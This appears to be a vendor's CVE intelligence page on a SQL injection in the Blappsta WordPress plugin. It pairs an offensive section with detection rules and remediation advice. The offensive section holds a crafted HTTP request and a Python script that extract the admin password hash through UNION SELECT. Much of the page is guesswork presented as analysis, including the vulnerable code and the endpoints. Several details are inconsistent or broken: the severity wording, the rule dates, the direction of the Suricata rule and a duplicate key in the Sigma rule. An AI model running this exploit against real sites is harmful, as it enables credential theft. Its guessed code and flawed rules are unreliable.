☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-9200

CVE-2025-9200 SQL Injection in Blappsta
📅 PUBLISHED: 2025-10-03 11:17 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.11%
👁️
0.11% probability
2.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-9200 is a critical unauthenticated SQL Injection vulnerability discovered in the Blappsta Mobile App Plugin for WordPress, affecting all versions up to and including 0.8.8.8. The flaw resides in the nh_ynaa_comments() function, which fails to properly escape user-supplied parameters and lacks prepared statements. This allows an unauthenticated attacker to inject arbitrary SQL queries into existing database queries, potentially leading to the extraction of sensitive information such as user credentials, session tokens, and other confidential data stored in the WordPress database.

Given the plugin's role in providing native mobile app functionality for WordPress sites, this vulnerability poses a significant risk to site owners who rely on this plugin for their mobile presence. The CVSS score of 7.5 (High) reflects the ease of exploitation (network-based, low complexity, no privileges required) and the high impact on confidentiality.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. As such, it is part of the WordPress ecosystem supply chain. Site administrators must verify the integrity of the plugin files and ensure they are obtained from trusted sources. The lack of a known patch (UNKNOWN status) means that users of this plugin are currently exposed and should consider disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.5 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Attack Vector (AV): Network (N) – Exploitable remotely over the network.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerability does not affect other components.
  • Confidentiality (C): High (H) – Full database read access possible.
  • Integrity (I): None (N) – No data modification.
  • Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can lead to complete database compromise.

Deep Dive & Mechanics

The vulnerability exists in the nh_ynaa_comments() function within the Blappsta Mobile App Plugin. This function is likely used to handle comments submitted via the mobile app interface. The core issue is a classic SQL injection flaw:

  1. Insufficient Escaping: The user-supplied parameter (likely a comment ID, post ID, or similar) is not properly sanitized or escaped before being used in an SQL query.
  2. Lack of Prepared Statements: The plugin uses dynamic SQL query construction instead of parameterized queries (prepared statements), allowing an attacker to break out of the intended SQL syntax.

An unauthenticated attacker can send a crafted HTTP request to the vulnerable endpoint, injecting SQL commands such as UNION SELECT to retrieve data from other tables. For example, an attacker could extract the wp_users table to obtain usernames and password hashes.

The function is likely hooked into WordPress's REST API or AJAX actions, making it accessible without authentication. The exact endpoint is not publicly documented, but typical patterns include /wp-json/blappsta/v1/comments or similar.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable code (Blappsta Mobile App Plugin <= 0.8.8.8)
function nh_ynaa_comments() {
    global $wpdb;
    $comment_id = $_POST['comment_id']; // No sanitization
    $results = $wpdb->get_results( "SELECT * FROM {$wpdb->comments} WHERE comment_ID = $comment_id" );
    // ...
}

A patched version would use prepared statements:

// Patched code (hypothetical)
function nh_ynaa_comments() {
    global $wpdb;
    $comment_id = intval( $_POST['comment_id'] ); // Sanitize to integer
    $results = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->comments} WHERE comment_ID = %d", $comment_id ) );
    // ...
}

The key differences are:

  • Input Validation: The patched version casts the input to an integer, preventing non-numeric injection.
  • Prepared Statements: The patched version uses $wpdb->prepare() to safely bind the parameter.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Target WordPress site with Blappsta Mobile App Plugin <= 0.8.8.8 installed and active.
  • No authentication required.

Exploitation Steps:

  1. Identify the vulnerable endpoint. Use a web proxy or fuzzer to discover the AJAX action or REST route. Common patterns include:

    • /wp-admin/admin-ajax.php?action=nh_ynaa_comments
    • /wp-json/blappsta/v1/comments
  2. Craft a malicious request. Inject a SQL payload into the vulnerable parameter. For example, to extract the admin user's password hash:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded

action=nh_ynaa_comments&comment_id=1 UNION SELECT user_login, user_pass FROM wp_users WHERE ID=1 --
  1. Parse the response. The injected data will appear in the response, typically as JSON or HTML.

Automated Exploit (Python):

import requests

target = "http://target-site.com/wp-admin/admin-ajax.php"
payload = {
    "action": "nh_ynaa_comments",
    "comment_id": "1 UNION SELECT user_login, user_pass FROM wp_users WHERE ID=1 --"
}

response = requests.post(target, data=payload)
print(response.text)

Blue Team (Defensive)

Detection:

  • Monitor for unusual SQL error messages in logs.
  • Look for requests to admin-ajax.php with action=nh_ynaa_comments and suspicious comment_id values containing SQL keywords (UNION, SELECT, etc.).
  • Use WAF rules to block common SQL injection patterns.

Honeypot:

  • Deploy a fake WordPress instance with the vulnerable plugin to capture attacker payloads.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP POST requests to /wp-admin/admin-ajax.php with action=nh_ynaa_comments and comment_id containing SQL syntax.
    • Unusual SQL error messages in server logs (e.g., "You have an error in your SQL syntax").
    • Outbound database queries from the web server to unexpected tables (e.g., wp_users, wp_options).
  • File IOCs:

    • Modified plugin files (check file integrity of /wp-content/plugins/blappsta-mobile-app/).
    • Suspicious entries in WordPress debug log (wp-content/debug.log).
  • Behavioral IOCs:

    • Unauthorized access to admin accounts.
    • Unexpected changes to site content or user roles.

Detection Engineering

YARA Rule

rule CVE_2025_9200_Blappsta_SQLi {
    meta:
        description = "Detects SQL injection attempts against Blappsta Mobile App Plugin CVE-2025-9200"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9200"
    strings:
        $s1 = "nh_ynaa_comments" ascii wide nocase
        $s2 = "comment_id" ascii wide nocase
        $s3 = "UNION" ascii wide nocase
        $s4 = "SELECT" ascii wide nocase
        $s5 = "FROM" ascii wide nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5)
}

Sigma Rule

title: SQL Injection Attempt Against Blappsta Mobile App Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting the nh_ynaa_comments function in Blappsta Mobile App Plugin
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-9200
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=nh_ynaa_comments'
        cs-uri-query|contains: 'comment_id='
    keywords:
        - ' UNION '
        - ' SELECT '
        - ' FROM '
        - ' OR 1=1'
        - ' DROP '
    condition: selection and keywords
falsepositives:
    - Legitimate use of SQL keywords in comments (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-9200 Blappsta SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=nh_ynaa_comments"; http_client_body; pcre:"/comment_id=.*(UNION|SELECT|FROM|DROP|OR\s+1=1)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released. Navigate to WordPress Admin > Plugins and deactivate "Blappsta Mobile App Plugin".
  2. Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns targeting the vulnerable parameter.
  3. Monitor logs for exploitation attempts and investigate any suspicious activity.

Long-term Fix:

  • The vendor (Blappsta) must release a patched version that uses prepared statements and input validation. Until then, consider using an alternative mobile app plugin.

Workaround:

  • If the plugin cannot be disabled, add a custom filter to sanitize the comment_id parameter:
add_filter( 'nh_ynaa_comments_input', 'intval' );

This will force the parameter to be an integer, mitigating the injection.


Report generated by Valters IT DevSecOps & CTI Division

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-9200/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.